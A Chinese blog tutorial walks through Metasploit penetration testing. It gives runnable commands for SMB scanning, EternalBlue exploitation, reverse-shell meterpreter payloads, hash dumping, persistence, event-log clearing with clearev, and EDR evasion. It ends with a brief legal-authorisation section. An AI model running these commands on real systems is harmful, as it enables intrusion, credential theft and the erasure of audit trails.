Metasploit实战指南:从漏洞扫描到后渗透攻击的全流程解析

张开发
2026/4/14 5:01:03 15 分钟阅读

分享文章

Metasploit实战指南:从漏洞扫描到后渗透攻击的全流程解析
1. Metasploit框架入门渗透测试的瑞士军刀第一次接触Metasploit是在2013年的一次企业安全评估项目中。当时客户系统存在一个古老的Windows Server 2003服务器我们正是用这个工具完成了从漏洞发现到权限获取的全过程。Metasploit就像渗透测试领域的瑞士军刀它把复杂的攻击过程模块化让安全人员能够像搭积木一样组合各种攻击组件。这个用Ruby编写的开源框架目前已经发展到6.x版本最新版本增加了对云环境、物联网设备的支持。在Kali Linux中默认就安装了Metasploit直接输入msfconsole即可启动。我建议新手从Kali开始学习因为它已经预配置好了所有依赖环境。框架的核心目录位于/usr/share/metasploit-framework/这里存放着所有模块modules/exploits漏洞利用模块按操作系统分类modules/payloads攻击成功后执行的代码modules/auxiliary扫描、嗅探等辅助模块modules/post后渗透阶段使用的模块2. 漏洞扫描实战锁定攻击目标去年给某金融机构做渗透测试时我们先用了两周时间进行信息收集和漏洞扫描。这是整个流程中最关键的环节——找到正确的攻击入口。在Metasploit中有几种扫描方式使用db_nmap命令调用nmap扫描结果会自动存入数据库使用auxiliary/scanner/下的各种扫描模块结合Nessus等专业扫描器导入结果以扫描SMB漏洞为例我常用的命令组合是use auxiliary/scanner/smb/smb_version set RHOSTS 192.168.1.1-254 set THREADS 50 run扫描完成后可以用services命令查看发现的开放服务用vulns命令查看已识别的漏洞。对于重要的业务系统我通常会进行二次验证use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.1.100 run3. 攻击载荷选择与配置的艺术选择payload就像选择开锁工具需要根据目标环境精准匹配。在最近一次针对某电商网站的测试中我们尝试了三种payload才最终突破防御。最常用的Windows payload有windows/meterpreter/reverse_tcp稳定首选windows/shell/reverse_tcp兼容性好windows/x64/meterpreter/reverse_https免杀性强配置时要注意几个关键参数set LHOST 192.168.1.10 # 监听端IP set LPORT 4444 # 监听端口 set ExitOnSession false # 保持监听 set AutoRunScript post/windows/manage/migrate # 自动迁移进程对于有防火墙的目标可以尝试set EnableStageEncoding true set StageEncoder x86/shikata_ga_nai set PrependMigrate true4. 后渗透攻击深入敌后的关键操作拿到meterpreter会话只是开始真正的挑战在后渗透阶段。去年在某制造业客户的内网中我们通过层层跳板最终控制了域控制器。常用的后渗透模块run post/windows/gather/hashdump # 获取密码哈希 run post/windows/manage/enable_rdp # 开启远程桌面 run post/windows/manage/autoroute # 添加路由表对于持久化控制我推荐几种方法计划任务方式最隐蔽run persistence -U -i 60 -p 443 -r 192.168.1.10服务注册方式稳定性高run post/windows/manage/persistence_exeWMI事件订阅方式对抗性强在内网横向移动时记得先清理日志clearev然后使用portfwd进行端口转发portfwd add -l 3389 -p 3389 -r 192.168.2.1005. 经典漏洞复现MS17-010实战解析永恒之蓝漏洞至今仍是内网渗透的利器。上个月在一次红队演练中我们通过这个漏洞拿下了3台未打补丁的服务器。完整攻击流程# 1. 漏洞检测 use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.1.100 run # 2. 漏洞利用 use exploit/windows/smb/ms17_010_eternalblue set RHOST 192.168.1.100 set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.10 exploit # 3. 权限提升 getsystem遇到失败时可以尝试调整Target参数0-自动检测1-Win72-Win2008使用alternative targets中的选项添加PrependMigrate参数6. 防御规避与反制措施随着企业安全防护升级传统的攻击方法越来越容易被发现。在最近的项目中我们不得不开发自定义模块来绕过EDR检测。有效的规避技术包括进程注入migrate -N explorer.exe内存执行use exploit/windows/local/payload_inject无文件攻击use exploit/windows/local/psh_injection对于防护特别严格的环境可以尝试使用https类型的payload设置SessionCommunicationTimeout参数启用SSL加密通信7. 从Meterpreter到C2框架的进阶当需要管理多个会话时建议使用C2框架进行协同操作。我平时喜欢将Metasploit与Cobalt Strike结合使用。一些高级技巧会话派生sessions -u 1 # 升级会话自动化脚本resource /path/to/script.rc流量伪装set HttpUserAgent Mozilla/5.0 set HttpHostHeader www.baidu.com在大型内网渗透中记得先做好拓扑测绘run post/windows/gather/arp_scanner RHOSTS192.168.2.0/248. 渗透测试中的法律与道德边界在多年的实战中我见过太多因为越界操作导致的法律纠纷。特别提醒新手注意务必获取书面授权严格限定测试范围禁止使用破坏性payload及时清理测试痕迹完整记录操作日志对于敏感操作建议使用set VERBOSE true log_spool /path/to/log.txt

更多文章